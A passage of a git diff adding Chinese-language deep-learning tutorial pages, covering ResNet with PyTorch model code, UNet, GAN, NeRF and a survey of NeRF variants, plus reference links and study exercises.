+[知乎](https://zhuanlan.zhihu.com/p/101332297) + +[论文](https://arxiv.org/pdf/1512.03385.pdf) + +# WHY residual? + +在 ResNet 提出之前,所有的神经网络都是通过卷积层和池化层的叠加组成的。 +人们认为卷积层和池化层的层数越多,获取到的图片特征信息越全,学习效果也就越好。但是在实际的试验中发现,随着卷积层和池化层的叠加,不但没有出现学习效果越来越好的情况,反而出现两种问题: + +- 梯度消失和梯度爆炸 + +梯度消失:若每一层的梯度误差小于 1,反向传播时,网络越深,梯度越趋近于 0 + +梯度爆炸:若每一层的梯度误差大于 1,反向传播时,网络越深,梯度越趋近于无穷大 + +- 退化现象 + +如图所示,随着层数越来越深,预测的效果反而越来越差(error 越大) + +![](static/boxcnBDfBnOPmS0btwNseKvsN6f.png) + +# 网络模型 + +![](static/boxcnn8a16DYyEPEVuHxvvw7eAf.png) + +我们可以看到,ResNet 的网络依旧非常深,这是因为研究团队不仅发现了退化现象,还采用出一个可以将网络继续加深的 trick:shortcut,亦即我们所说的 residual。 + +- 为了解决梯度消失或梯度爆炸问题,ResNet 论文提出通过数据的预处理以及在网络中使用 BN(Batch Normalization)层来解决。 +- 为了解决深层网络中的退化问题,可以人为地让神经网络某些层跳过下一层神经元的连接,隔层相连,弱化每层之间的强联系。这种神经网络被称为 残差网络 (ResNets)。ResNet 论文提出了 residual 结构(残差结构)来减轻退化问题。 + +## residual 结构 + +![](static/boxcnhgVaLChu3O2omGJKzFU7uB.png) + +# 网络代码 + +```python +import torch.nn as nn +import torch + + +# ResNet18/34的残差结构,用的是2个3x3的卷积 +class BasicBlock(nn.Module): + expansion = 1 # 残差结构中,主分支的卷积核个数是否发生变化,不变则为1 + + def __init__(self, in_channel, out_channel, stride=1, downsample=None): # downsample对应虚线残差结构 + super(BasicBlock, self).__init__() + self.conv1 = nn.Conv2d(in_channels=in_channel, out_channels=out_channel, + kernel_size=3, stride=stride, padding=1, bias=False) + self.bn1 = nn.BatchNorm2d(out_channel) + self.relu = nn.ReLU() + self.conv2 = nn.Conv2d(in_channels=out_channel, out_channels=out_channel, + kernel_size=3, stride=1, padding=1, bias=False) + self.bn2 = nn.BatchNorm2d(out_channel) + self.downsample = downsample + + def forward(self, x): + identity = x + if self.downsample is not None: # 虚线残差结构,需要下采样 + identity = self.downsample(x) # 捷径分支 short cut + + out = self.conv1(x) + out = self.bn1(out) + out = self.relu(out) + + out = self.conv2(out) + out = self.bn2(out) + + out += identity + out = self.relu(out) + + return out + +# ResNet50/101/152的残差结构,用的是1x1+3x3+1x1的卷积 +class Bottleneck(nn.Module): + expansion = 4 # 残差结构中第三层卷积核个数是第一/二层卷积核个数的4倍 + + def __init__(self, in_channel, out_channel, stride=1, downsample=None): + super(Bottleneck, self).__init__() + self.conv1 = nn.Conv2d(in_channels=in_channel, out_channels=out_channel, + kernel_size=1, stride=1, bias=False) # squeeze channels + self.bn1 = nn.BatchNorm2d(out_channel) + # ----------------------------------------- + self.conv2 = nn.Conv2d(in_channels=out_channel, out_channels=out_channel, + kernel_size=3, stride=stride, bias=False, padding=1) + self.bn2 = nn.BatchNorm2d(out_channel) + # ----------------------------------------- + self.conv3 = nn.Conv2d(in_channels=out_channel, out_channels=out_channel * self.expansion, + kernel_size=1, stride=1, bias=False) # unsqueeze channels + self.bn3 = nn.BatchNorm2d(out_channel * self.expansion) + self.relu = nn.ReLU(inplace=True) + self.downsample = downsample + + def forward(self, x): + identity = x + if self.downsample is not None: + identity = self.downsample(x) # 捷径分支 short cut + + out = self.conv1(x) + out = self.bn1(out) + out = self.relu(out) + + out = self.conv2(out) + out = self.bn2(out) + out = self.relu(out) + + out = self.conv3(out) + out = self.bn3(out) + + out += identity + out = self.relu(out) + + return out + + +class ResNet(nn.Module): + # block = BasicBlock or Bottleneck + # block_num为残差结构中conv2_x~conv5_x中残差块个数,是一个列表 + def __init__(self, block, blocks_num, num_classes=1000, include_top=True): + super(ResNet, self).__init__() + self.include_top = include_top + self.in_channel = 64 + + self.conv1 = nn.Conv2d(3, self.in_channel, kernel_size=7, stride=2, + padding=3, bias=False) + self.bn1 = nn.BatchNorm2d(self.in_channel) + self.relu = nn.ReLU(inplace=True) + self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1) + self.layer1 = self._make_layer(block, 64, blocks_num[0]) # conv2_x + self.layer2 = self._make_layer(block, 128, blocks_num[1], stride=2) # conv3_x + self.layer3 = self._make_layer(block, 256, blocks_num[2], stride=2) # conv4_x + self.layer4 = self._make_layer(block, 512, blocks_num[3], stride=2) # conv5_x + if self.include_top: + self.avgpool = nn.AdaptiveAvgPool2d((1, 1)) # output size = (1, 1) + self.fc = nn.Linear(512 * block.expansion, num_classes) + + for m in self.modules(): + if isinstance(m, nn.Conv2d): + nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu') + + # channel为残差结构中第一层卷积核个数 + def _make_layer(self, block, channel, block_num, stride=1): + downsample = None + + # ResNet50/101/152的残差结构,block.expansion=4 + if stride != 1 or self.in_channel != channel * block.expansion: + downsample = nn.Sequential( + nn.Conv2d(self.in_channel, channel * block.expansion, kernel_size=1, stride=stride, bias=False), + nn.BatchNorm2d(channel * block.expansion)) + + layers = [] + layers.append(block(self.in_channel, channel, downsample=downsample, stride=stride)) + self.in_channel = channel * block.expansion + + for _ in range(1, block_num): + layers.append(block(self.in_channel, channel)) + + return nn.Sequential(*layers) + + def forward(self, x): + x = self.conv1(x) + x = self.bn1(x) + x = self.relu(x) + x = self.maxpool(x) + + x = self.layer1(x) + x = self.layer2(x) + x = self.layer3(x) + x = self.layer4(x) + + if self.include_top: + x = self.avgpool(x) + x = torch.flatten(x, 1) + x = self.fc(x) + + return x + + +def resnet34(num_classes=1000, include_top=True): + return ResNet(BasicBlock, [3, 4, 6, 3], num_classes=num_classes, include_top=include_top) + + +def resnet101(num_classes=1000, include_top=True): + return ResNet(Bottleneck, [3, 4, 23, 3], num_classes=num_classes, include_top=include_top) + + +''' +我们希望你能够去将论文下载下来以后跟一些讲解视频尝试将论文与代码结合起来理解 +看论文的源码是我们必须要做的一个中重要的工作 +''' +``` + +# 视频 + +# 思考 + +## 思考 1 + +请你自行了解网络结构中的 BN(Batch Normalization)层,这是很重要的一个 normalization 操作,如果感兴趣还可以继续了解 LN (Layer Normalization) + +## 思考 2 + +你觉得论文中提出用 residual 这一解决方法来解决网络的退化现象的依据是什么,如果可以,请你进一步尝试用数学角度思考这一问题 diff --git a/4.人工智能/4.6.5.2.4UNet.md b/4.人工智能/4.6.5.2.4UNet.md new file mode 100644 index 0000000..7dbfd95 --- /dev/null +++ b/4.人工智能/4.6.5.2.4UNet.md @@ -0,0 +1,47 @@ +# UNet + +[论文](https://arxiv.org/pdf/1505.04597.pdf) + +[博客](https://blog.csdn.net/Formlsl/article/details/80373200) + +[博客 2](https://blog.csdn.net/BreakingDawn0/article/details/103435768?spm=1001.2101.3001.6650.16&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-16-103435768-blog-87979765.t5_layer_targeting_s&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ERate-16-103435768-blog-87979765.t5_layer_targeting_s&utm_relevant_index=19) + +### 网络框架 + +![](static/boxcnoo4bKuLo5qQdQmRP2H75Sb.png) + +2015 年,OlafRonneberger 等人提出了 U-net 网络结构,U-net 网络是基于 FCN 的一种语义分割网络,适用于做医学图像的分割 + +U-net 网络结构与 FCN 网络结构相似,也是分为下采样阶段和上采样阶段,网络结构中只有卷积层和池化层,没有全连接层,网络中较浅的高分辨率层用来解决像素定位的问题,较深的层用来解决像素分类的问题,从而可以实现图像语义级别的分割,与 FCN 网络不同的是,U-net 的上采样阶段与下采样阶段采用了相同数量层次的卷积操作,且使用 skip connection 结构将下采样层与上采样层相连,使得下采样层提取道的特征可以直接传递到上采样层,这使得 U-net 网络的像素定位更加准确,分割精度更高。此外在训练过程中,U-net 只需要一次训练,FCN 为达到较精确的 FCN-8s 结构需要三次训练,故 U-net 网络的训练效率也高于 FCN 网络。 + +U-net 网络的结构如图所示,蓝色箭头代表卷积和激活函数,灰色箭头代表复制剪切操作,红色箭头代表下采样,绿色箭头代表反卷积,conv1X1 代表卷积核为 1X1 的卷积操作。U-net 网络没有全连接层,只有卷积和下采样。U-net 可以对像素进行端到端的分割,即输入是一幅图像,输出也是一幅图像。 + +### 下采样(编码) + +编码层由 N 个结构相同的卷积层 L(i)级联组成,L(i)包含两个 3x3 卷积层和一个 2x2 最大池化层,经过 L(i)后图像通道数加倍。 + +其中卷积和池化的 padding 都是‘valid’(不补 0),即只对图像的有效部分进行窄卷积,得到图像的有效特征,因此得到的输出图像会比输入图像小。解决这个问题的方法是根据输出图像的大小应该等于原图像大小(out_size=img_size),沿着网络逆向计算出输入图像的大小 in_size,对原图像沿着四条边进行镜像扩大,作为输入图像。图中,输出分割图像的黄框与输入图像的黄框对应,输入图像中蓝框的边缘部分由于窄卷积丢失,最后的到输出图像中的黄框,因此输出的分割图像对应输入图像中原图 img 的位置。 + +### 上采样(解码) + +解码层由 N 个结构相同的反卷积层 L(i)级联组成,L(i)包含一个 2x2 反卷积层和两个 3x3 卷积层,经过 L(i)后图像通道减半。 + +每层解码层会将反卷积恢复的特征,与同层编码层提取的特征连接(concatenate),再进行卷积,实现了编码层和解码层的特征融合,有助于特征恢复过程中保留图像的更多细节,使得到的分割图像轮廓更清晰。如图,在训练左心室内外膜分割的 UNet 网络时,c 得到的特征比 b 更接近标签。 + +最后,解码层连接一个 1x1 全卷积网络,逐像素二分类,得到 2 个通道的输出图像。 + +## + +## 思考 1 + +UNet 的跳连接结构好在哪?跟 Resnet 相比有什么异同? + +# 思考 2 + +有很多的论文是基于 Unet 的改进,包括但不限于 + +Unet++ + +U2net + +甚至其结构也被视为 EN-DE 结构的一个经典案例,你能否通过这些论文感受一下神经网络整体的发展脉络。 diff --git a/4.人工智能/4.6.5.2.5GAN.md b/4.人工智能/4.6.5.2.5GAN.md new file mode 100644 index 0000000..7673a04 --- /dev/null +++ b/4.人工智能/4.6.5.2.5GAN.md @@ -0,0 +1,24 @@ +# GAN + +这篇论文画风都和前面的几篇完全不一样,因为他的任务是生成,本篇文章将作为可选的拓展阅读。 + +比如说生成一些虚拟的 vtuber 他也是完全办得到的,首先留下经典的文章 + +[Generative Adversarial Networks](https://arxiv.org/abs/1406.2661) + +GAN 的基本原理其实非常简单,这里以生成图片为例进行说明。假设我们有两个网络,G(Generator)和 D(Discriminator)。正如它的名字所暗示的那样,它们的功能分别是: + +- G 是一个生成图片的网络,它接收一个随机的噪声 z,通过这个噪声生成图片,记做 G(z)。 +- D 是一个判别网络,判别一张图片是不是“真实的”。它的输入参数是 x,x 代表一张图片,输出 D(x)代表 x 为真实图片的概率,如果为 1,就代表 100% 是真实的图片,而输出为 0,就代表不可能是真实的图片。 + +在训练过程中,生成网络 G 的目标就是尽量生成真实的图片去欺骗判别网络 D。而 D 的目标就是尽量把 G 生成的图片和真实的图片分别开来。这样,G 和 D 构成了一个动态的“博弈过程”。 + +最后博弈的结果是什么?在最理想的状态下,G 可以生成足以“以假乱真”的图片 G(z)。对于 D 来说,它难以判定 G 生成的图片究竟是不是真实的,因此 D(G(z)) = 0.5。 + +其实就是一个骗一个验证。 + +提到他我就想提到另一个算法叫 VAE,你可以对比一下两者的相同点和不同点 + +同时,数学推导要从极大似然估计考虑起! + +[https://zhuanlan.zhihu.com/p/266677860](https://zhuanlan.zhihu.com/p/266677860) diff --git a/4.人工智能/4.6.5.2.6思考题参考.md b/4.人工智能/4.6.5.2.6思考题参考.md new file mode 100644 index 0000000..f36d467 --- /dev/null +++ b/4.人工智能/4.6.5.2.6思考题参考.md @@ -0,0 +1,61 @@ +# 思考题参考 + +思考并无绝对的对错,此处仅供参考,希望大家能在自己的思考的基础上再来这里解决思考的疑惑。 + +## + +## 思考 1 + +### 1.1 + +[CNN 与 MLP 之间的关系,优缺点](https://www.editcode.net/archive/detail/89781) + +[MLP(多层感知机)只是 CNN(卷积网络)的一个特例](https://blog.csdn.net/u010165147/article/details/82851717#:~:text=%E6%98%BE%E7%84%B6%E5%8F%AF%E4%BB%A5%E6%8E%A8%E5%AF%BC%E5%87%BA%EF%BC%8C%E5%BD%93%20CNN%E5%8D%B7%E7%A7%AF%E6%A0%B8%E5%A4%A7%E5%B0%8F%E4%B8%8E%E8%BE%93%E5%85%A5%E5%A4%A7%E5%B0%8F%E7%9B%B8%E5%90%8C%20%E6%97%B6%E5%85%B6%E8%AE%A1%E7%AE%97%E8%BF%87%E7%A8%8B%E7%AD%89%E4%BB%B7%E4%BA%8EMLP%EF%BC%8C%E4%B9%9F%E5%B0%B1%E6%98%AF%E8%AF%B4MLP%E7%AD%89%E4%BB%B7%E4%BA%8E,%E5%8D%B7%E7%A7%AF%E6%A0%B8%E5%A4%A7%E5%B0%8F%E4%B8%8E%E6%AF%8F%E5%B1%82%E8%BE%93%E5%85%A5%E5%A4%A7%E5%B0%8F%E7%9B%B8%E5%90%8C%20%E7%9A%84CNN%EF%BC%88%E5%A6%82%E8%BE%93%E5%85%A5%E5%9B%BE%E7%89%87%E4%B8%BA100x100%EF%BC%8C%E5%8D%B7%E7%A7%AF%E6%A0%B8%E5%A4%A7%E5%B0%8F%E4%B8%BA100x100%EF%BC%89%EF%BC%8C%E6%89%80%E4%BB%A5MLP%E6%98%AFCNN%E7%9A%84%E4%B8%80%E4%B8%AA%E7%89%B9%E4%BE%8B%E3%80%82%20%E8%80%8C%E5%8D%B7%E7%A7%AF%E6%A0%B8%E5%A4%A7%E5%B0%8F%E4%B8%8E%E6%AF%8F%E5%B1%82%E8%BE%93%E5%85%A5%E5%A4%A7%E5%B0%8F%E7%9B%B8%E5%90%8C%E4%BC%9A%E7%9B%B4%E6%8E%A5%E4%B8%A2%E5%A4%B1%E9%9D%9E%E5%B8%B8%E5%A4%9A%E7%9A%84%E8%BE%93%E5%85%A5%E7%A9%BA%E9%97%B4%E4%BF%A1%E6%81%AF%EF%BC%8C%E6%89%80%E4%BB%A5MLP%E8%BF%99%E7%A7%8D%E8%BF%90%E8%A1%8C%E6%A8%A1%E5%BC%8F%E4%B8%8D%E9%80%82%E5%90%88%E5%9B%BE%E5%83%8F%E8%BF%99%E7%A7%8D%E7%A9%BA%E9%97%B4%E4%BF%A1%E6%81%AF%E4%B8%B0%E5%AF%8C%E7%9A%84%E6%95%B0%E6%8D%AE%E3%80%82) + +### 1.2 + +[深度理解感受野](https://blog.csdn.net/weixin_40756000/article/details/117264194) + +### 1.3 + +[卷积神经网络中的平移不变性](https://zhuanlan.zhihu.com/p/382926269) + +### 1.5 + +[你真的看懂 Relu 了吗?大家都说是非线性,为什么我怎么看都是线性啊?](https://zhuanlan.zhihu.com/p/405068757) + +### 1.6 + +[什么是深度学习中的卷积?](https://zhuanlan.zhihu.com/p/140550547) + +## 思考 2 + +### 2.1 + +[深度学习端到端的理解](https://blog.csdn.net/Bulldozer_GD/article/details/95071826) + +### 2.2 + +[反卷积详解](https://blog.csdn.net/bestrivern/article/details/89553513) + +### 2.3 + +### 2.4 + +[语义分割概念及应用介绍](https://zhuanlan.zhihu.com/p/46200875) + +## 思考 3 + +### 3.1 + +[Batch Normalization(BN 层)详解](https://www.jianshu.com/p/b05282e9ca57) + +### 3.2 + +[ResNet 残差、退化等细节解读](https://blog.csdn.net/a8039974/article/details/122380735) + +## 思考 4 + +### 4.1 + +[U-Net 和 ResNet:长短跳跃连接的重要性(生物医学图像分割)](https://www.jianshu.com/p/20a47427823c) diff --git a/4.人工智能/4.6.5.2.7还要学更多?.md b/4.人工智能/4.6.5.2.7还要学更多?.md new file mode 100644 index 0000000..b24efa5 --- /dev/null +++ b/4.人工智能/4.6.5.2.7还要学更多?.md @@ -0,0 +1,21 @@ +# 还要学更多? + +# Try it yourself! + +你已经基本了解现代 CV 的理论架构了,你可以尝试写一些自己的网络来锻炼你的 coding 能力并且切身体会这些技术的效果 + +- 你可以先行尝试一下怎么把在 MNIST 上训练的网络真正投入应用,比如识别一张你自己用黑笔写的数字~ + +![](static/boxcn2juA3J3ycnHoN5SmYAfEfd.jpg) + +- 比如你可以尝试训练一个网络来实现人体五官分割(笔者之前就玩过这个)数据集采用 [helen 数据集](https://pages.cs.wisc.edu/~lizhang/projects/face-parsing/),关于数据集的架构你可以搜一搜,自己设计一个 Dataloader 和 YourModle 来实现前言中的五官分割效果(真的很有乐子 hhh) + +![](static/boxcnJJlzanhvtE55Q7d0IR1vph.png) + +- 当然你也可以尝试一些自己感兴趣的小任务来锻炼工程能力~ + +# Reading more! + +我会在这里列举一些时间较近的优秀工作: + +首先必然是 [Transformer](https://gw9u39xwqi.feishu.cn/wiki/wikcnPNyq3BTIYKT6LFlViyTzNe) 和它的改进工作,其次你最好找到自己最感兴趣的小方向:就比如 NeRF~。具体的小方向你可以自己寻找相关论文,如果找不到,也欢迎你与 SRT 社团交流~ diff --git a/4.人工智能/4.6.5.2经典网络.md b/4.人工智能/4.6.5.2经典网络.md new file mode 100644 index 0000000..b2492ec --- /dev/null +++ b/4.人工智能/4.6.5.2经典网络.md @@ -0,0 +1,5 @@ +# 经典网络 + +这篇文章罗列了对领域造成较大影响的一些经典的论文,要么他们开辟了一个先河,要么他们的方法广为流传。 + +通过熟悉与掌握这些网络,可以帮助你真的 diff --git a/4.人工智能/4.6.5.3.1NeRF.md b/4.人工智能/4.6.5.3.1NeRF.md new file mode 100644 index 0000000..bf77942 --- /dev/null +++ b/4.人工智能/4.6.5.3.1NeRF.md @@ -0,0 +1,145 @@ +# NeRF + +最原始的 NeRF 在 2020 年被提出,这还是一个比较新的领域。NeRF 的主要目标是在密集采样的图片中对这个图片中的物体进行三维重建。 + +NeRF 想做这样一件事,不需要中间三维重建的过程,仅根据位姿内参和图像,直接合成新视角下的图像。 + +在生成建模前,我们需要对被建模物体进行密集的采样,如下图是一个示例的训练集,它含有 100 张图片以及保存了每一张图片相机参数(表示拍摄位置,拍摄角度,焦距的矩阵)的 json 文件。 + +![](static/boxcn6jg09V944MU1sBsstmdaib.png) + +你可以看到,这 100 张图片是对一个乐高推土机的多角度拍摄结果。我们需要的是一个可以获取这个推土机在任意角度下拍摄的图片的模型。如图所示: + +![](static/boxcnLEEyuUWOwiJOePhmmsAakd.gif) + +现在来看 NeRF 网络: + +在 NeRF 中,我们把空间认为是一个个的小方块叠成的空间(可以理解为 MC)每一个方块有以下属性: + +- 3 个位置坐标(x,y,z) +- 透明度 + $$ + \sigma + $$ +- 注意:因为每个角度观察的颜色并不相同(光线原因),颜色属于一个会根据观察角度变化的隐藏属性。 + +# 用 NeRF 如何建模?(思路部分) + +## 得到模型 + +我们需要的是每个视角下的图片,可以理解为从一个视角发射光线一根光线对应一个像素点。这些光线穿透路径上的所有方块,把这些方块上的属性信息以某种方式累计,就能得到这个像素的颜色。这是 一个已有的公式,只要我们获得每个小方块的颜色信息和不透明度,我们就能知道这个角度下的视图。(这个我们后面介绍) + +现在的难点在于:我们不知道每个小方块的颜色信息(因为颜色会随着观察角度变化)。众所周知,算法解决不了的问题就扔给神经网络试试啦~ + +为了获取根据角度变化而变化的颜色信息,我们选择了神经网络。 + +这个网络的输入是: + +- 小方块的位置坐标(x,y,z) +- 观察角度(以二维坐标表示两个偏转角) + +这个网络的输出是: + +- 对应的小方块的 RGB 信息 +- 不透明度 + +![](static/boxcni4q9Cp8G7H9HjKMrfImcZe.jpg) + +在这里,作者选择了最简单的 MLP,因此,这是一个输入为 5 维,输出为 4 维向量( +$$ +R,G,B,\sigma +$$ + +)的简单网络,值得注意的是,不透明度与观察角度无关,这里在网络中进行了特殊处理,让这个值与后两维无关。 + +现在我们能够输入坐标和视角信息得到小方块的颜色和不透明度,我们就可以对光线穿过的小方块进行计算了。 + +## 进行渲染 + +(渲染就是得到三维建模的某视角下图片) + +得到每条光线上的方块信息后,我们对其进行计算(这里开始介绍上面略过的公式) + +这个公式对光线上的所有小方块的颜色进行加权求和,权重是关于不透明度 +$$ +\sigma +$$ + +的一个函数 +$$ +T(\sigma) +$$ + +,不透明度在[0,1]之间,越不透明这个值越大。也就是越不透明,占的颜色比重越高,比如空气的 +$$ +\sigma +$$ + +就接近于 0,乐高本身就接近 1。 + +而求和的结果就是这个光线对应像素的颜色。 + +这里展开说一下 +$$ +T(\sigma) +$$ + +,我们把不透明度理解为光线在这个小方块被阻止的概率,越不透明,越容易阻挡光线,而光线一旦被阻挡,就不用计算后面的小方块颜色了。因此,我们的 +$$ +T(\sigma) +$$ + +就表示光线能够行进到这个小方块的概率,也就是这点之前所有小方块的 +$$ +(1-\sigma) +$$ + +的乘积。 + +这段要仔细看和推导,第一遍不容易直接懂。顺带一提,我们的小方块学名叫体素为了显得我们更专业一点以后就叫它体素罢 + +![](static/boxcnnwHy3Hlhbu2bOsi6r2BYJe.png) + +上面所说的公式具体如下:t 是我们的 +$$ +\sigma +$$ + +, +$$ +t_f,t_n +$$ + +分别是离发射点最远的体素和最近的体素。这个公式求得是像素的颜色。 + +![](static/boxcnDWBUOJucS2YdT7MlKBAq8g.png) + +思路总体如上,这里放一张找来的渲染过程示意图(不知道为什么有点包浆) + +![](static/boxcnfH30VDvbSdzahs5lRuirUd.gif) + +# 算法细节部分 + +上述只是 NeRF 的思路,也是后续改进工作的核心,具体实现使用了很多 trick,下面进行列举介绍: + +## 采样方法 + +因为上述计算使用了积分,而计算机只能处理非连续的信息,因此我们先把光线分为数个小段,在每个小段中使用蒙特卡罗采样(就是随机抽),得到积分的近似值。 + +我们也可以配合另一种更巧妙的方法实现采样,就在下面啦。 + +## 粗网络和精细网络 + +如上述采样方法所说,因为是均匀采样,我们对空气和实体的体素关注度都是差不多的,但是这并无必要,空气上采样点少了也不会怎么样,而实体上如果采样点增多,图片就会更加清晰,因此我们设计了以下算法来进行优化。 + +我们使用了两个网络:粗网络和精细网络。 + +粗网络就是上述采样方法用的普通网络,而粗网络输出的不透明度值会被作为一个概率分布函数,精细网络根据这个概率分布在光线上进行采样,不透明度越大的点,它的邻域被采样的概率越大,也就实现了我们要求的在实体上多采样,空气中少采样。最后精细网络输出作为结果,因此粗网络可以只求不透明度,无视颜色信息。 + +![](static/boxcnwl72wntQgYMFvRPTWY5fPf.png) + +## 位置编码 + +学过 cv 的大家想必对这个东西耳熟能详了吧~,这里的位置编码是对输入的两个位置和一个方向进行的(体素位置,相机位置和方向),使用的是类似 transformer 的三角函数类编码如下。位置编码存在的意义是放大原本的 5 维输入对网络的影响程度,把原本的 5D 输入变为 90 维向量;并且加入了与其他体素的相对位置信息。 + +![](static/boxcnliAj5mb0Afz0TOMwrwytmh.png) diff --git a/4.人工智能/4.6.5.3.2NeRF的改进方向.md b/4.人工智能/4.6.5.3.2NeRF的改进方向.md new file mode 100644 index 0000000..19238aa --- /dev/null +++ b/4.人工智能/4.6.5.3.2NeRF的改进方向.md @@ -0,0 +1,172 @@ +# NeRF 的改进方向 + +这里只列出论文的名字或者模型简称,以及一些概括,没看的先留白,这里写的会很随意,当作备忘录了。 + +适合作为学习索引或者备忘录,忘了就来这里找找。(更新中) + +# 1.泛化性 + +## 1)减少输入图像类 + +### 1.Pixel-nerf + +Pixel-nerf 对输入图像使用卷积进行特征提取再执行 nerf,若有多个输入,对每个视角都执行 CNN,在计算光线时,取每一个已有视角下该坐标的特征,经过 mlp 后算平均。可以在少量视角下重建视图,需要进行预训练才能使用,有一定自动补全能力(有限) + +![](static/boxcnEiUODOd4FOBxYIZmmihyef.png) + +### 2.IBRnet + +IBRnet 是 pixel-nerf 的改进版,取消了 CNN,并且在 mlp 后接入了 transformer 结构处理体密度(不透明度),对这条光线上所有的采样点进行一个 transformer。同时,在获取某个体素的颜色和密度时,作者用了本视角相邻的两个视角,获取对应体素在这两张图片中的像素,以图片像素颜色,视角,图片特征作为 mlp 的输入。 + +![](static/boxcnwH75jIO9NiVwQaBqDrbe8e.png) + +### 3.MVSnerf + +MVSnerf 它用 MVS 的方法构建代价体然后在后面接了一个 nerf,MVS 是使用多视角立体匹配构建一个代价体,用 3D 卷积网络进行优化,这里对代价体进行 nerf 采样,可以得到可泛化网络。它需要 15min 的微调才能在新数据上使用。多视角立体匹配是一种传统算法,通过光线,几何等信息计算图像中小块的相似度,得出两个相机视角之间的位置关系。这个算法也被广泛使用在得到我们自己采样的数据的相机变换矩阵上(我就是这么干的) + +![](static/boxcnbd2YxumunZR9LZG3ANrPrb.png) + +此处涉及较多图形学,使用了平面扫描算法,其中有单应性变换这个角度变换算法,推导与讲解如下: + +[MVSNet 单应性变换推导_朽一的博客-CSDN 博客_可微单应性变换](https://blog.csdn.net/qq_43027065/article/details/116946686) + +简单来说就是把 A 视角下的图像转换到 B 视角 + +平面扫描就是把 A 视角中的某一像素点(如图中红色区域)的相邻的几个像素提取出来,用单应性变换转换到 B 视角中,这时候用的深度是假设的深度,遍历所有假设的深度,计算通过每一个假设深度经过单应性变换得到的像素小块和 B 视角中对应位置的差值(loss),取最小的 loss 处的深度作为该像素的深度。 + +![](static/boxcn5JmWUh1Gu283biqHq3Op0r.png) + +构建代价体: + +构建三维代价体的主要步骤: +1)假设离散的深度平面。 +2)将每个视图提取的特征图变换到假设平面上,构造特征体; +3)将不同视角的特征体融合在一起,形成三维代价体。 + +## 2)可以 zero-shot 或者 fine-tune 类 + +MVSnerf,上面已经说了。 + +# 2.速度提升 + +### 1.instan-ngp + +使用了哈希表结构的instant-ngp,渲染完美只需要几分钟(采样正常的情况下)这块的速度已经到极致了。 + +展开说说:其实这也是神经网络发展的一个方向,以前的深层网络倾向于把所有东西用网络参数表示,这样推理速度就会慢,这里使用哈希表的快速查找能力存储一些数据信息,instant-ngp 就是把要表达的模型数据特征按照不同的精细度存在哈希表中,使用时通过哈希表调用或插值调用。 + +![](static/boxcnXSUge0BqBCecdDJLQr4cRc.png) + +# 3.可编辑(指比如人体运动等做修改工作的) + +### 1.Human-nerf + +Human-nerf 生成可编辑的人体运动视频建模,输入是一段人随便动动的视频。输出的动作可以编辑修改,并且对衣物折叠等有一定优化。使用的模型并非全隐式的,并且对头发和衣物单独使用变换模型。使用了逆线性蒙皮模型提取人物骨骼(可学习的模型),上面那个蓝色的就是姿态矫正模块,这个模块赋予骨骼之间运动关系的权重(因为使用的是插值处理同一运动时不同骨骼的平移旋转矩阵,一块骨骼动会牵动其他骨骼)图中的 Ω 就是权重的集合,它通过 mlp 学习得到。然后得到显式表达的人物骨骼以及传入视频中得到的对应骨骼的 mesh,skeletal motion 就是做游戏人物动作用的编辑器这种,后面残差链接了一个 non-rigid-motion(非刚性动作),这个是专门处理衣物和毛发的,主要通过学习得到,然后粗暴的加起来就能得到模型,再经过传统的 nerf 渲染出图像。 + +![](static/boxcnHRnNXHvwVXrRmM8wnl53p9.png) + +### 2.Neural Body + +Neural Body 通过下面这种单视角视频或稀疏视角照片来生成人体建模。 + +因为生成的是人体建模,作者使用了他们以前的工作 EasyMocap 得到SMPL 模型(就是人体的结构)然后在 SMPL 表面生成一些 latent code(包含颜色,不透明度和位置),也就是下左中的那些点。 + +[EasyMocap 的代码](https://link.zhihu.com/?target=https%3A//github.com/zju3dv/EasyMocap) + +EasyMocap 是通过多视角视频生成骨架以及 SMPL 模型的一个工作,演示视频右下。 + +![](static/boxcnYmy1MnyWSPNEWvFWj9mzCf.png) + +这是 EasyMocap 的演示。 + +这里作者对 nerf 进行了修改,让 nerf 通过 latent code 渲染图片。流程是先用 latent code 构建三维网格,在这个网络中用空间插值得到具体某个点的值。这一步通过 3D 卷积实现,把原先存在空间中的离散的点整合到一个 latent code volume 中,在这个空间中进行 nerf 的渲染。省掉了 mlp,把整个建模储存在 3D 网格中而非 MLP 中,加快计算速度。 + +作者把每一帧提取到的骨架用 latent codes 进行蒙皮,使得人体变成对应的姿势,就可以进行逐帧渲染。 + +个人感觉这个模型不能很好处理光影效果,还有待改进。 + +是个预训练模型,训练的模块就是这个 3D 卷积神经网络。 + +![](static/boxcnbclBwg3BsubGOrt8vZf0qb.png) + +### 3.wild-nerf + +wild-nerf 思路很简单,就是加入了新的输入参数来调整白天黑夜等等一些简单的变化,并且把行人车辆之类的在采样过程中不固定的物品作为随机项,在渲染时按照概率加入。 + +### 4.D-nerf + +D-nerf 是一种动态编辑的 nerf,输入为:x,y,z,相机位置,相机角度,时间 t。 + +把整个网络分为两块,一块是正常的 nerf 渲染,另一块是下面这个,输入时间与现在的位置坐标,输出这个位置坐标中的物体现在的位置与 t=0 时的位置的差。再用 t=0 时物体的点信息进行渲染。 + +在此网络的单个输出上貌似是不监督的,因为没办法进行人为标注。这点我不是很确定,以后如果发现了会来修改的。 + +![](static/boxcnYeaiioqtFzQlztsTwiEpzg.png) + +渲染经过形变的物体时,光线其实是在 t=0 时刻进行渲染的,因为推土机的铲子放下去了,所以光线是弯曲的。 + +![](static/boxcng7xDooDmmpbCJRyLJBucwe.png) + +# 4.用于辅助传统图像处理 + +还没涉猎,待补全 + +# 5.与对比学习结合 + +### 1.clip-nerf + +clip-nerf 太贵了玩不起,没仔细研究,应该是文本跟 3D 建模关联,跟 clip 一样。 + +# 6.生成类(指加入新物体或者额外生成新场景) + +### 1.GRAF + +GRAF 把 GAN 与 nerf 结合,增加了两个输入,分别是外观/形状编码 z2D 采样编码 v,z 用来改变渲染出来东西的特征,比如把生成的车变色或者变牌子,suv 变老爷车之类的。v(s,u)用来改变下图 2 中训练时选择光线的标准。这里训练时不是拿 G 生成的整张图扔进 D 网络,而是根据 v 的参数选择一些光线组成的 batch 扔进 D 进行辨别 + +![](static/boxcnVyFqHIoA2MGGc4JJo9tObh.png) + +![](static/boxcnvBzqwCn9i8GGBIkMFEs3ne.png) + +### 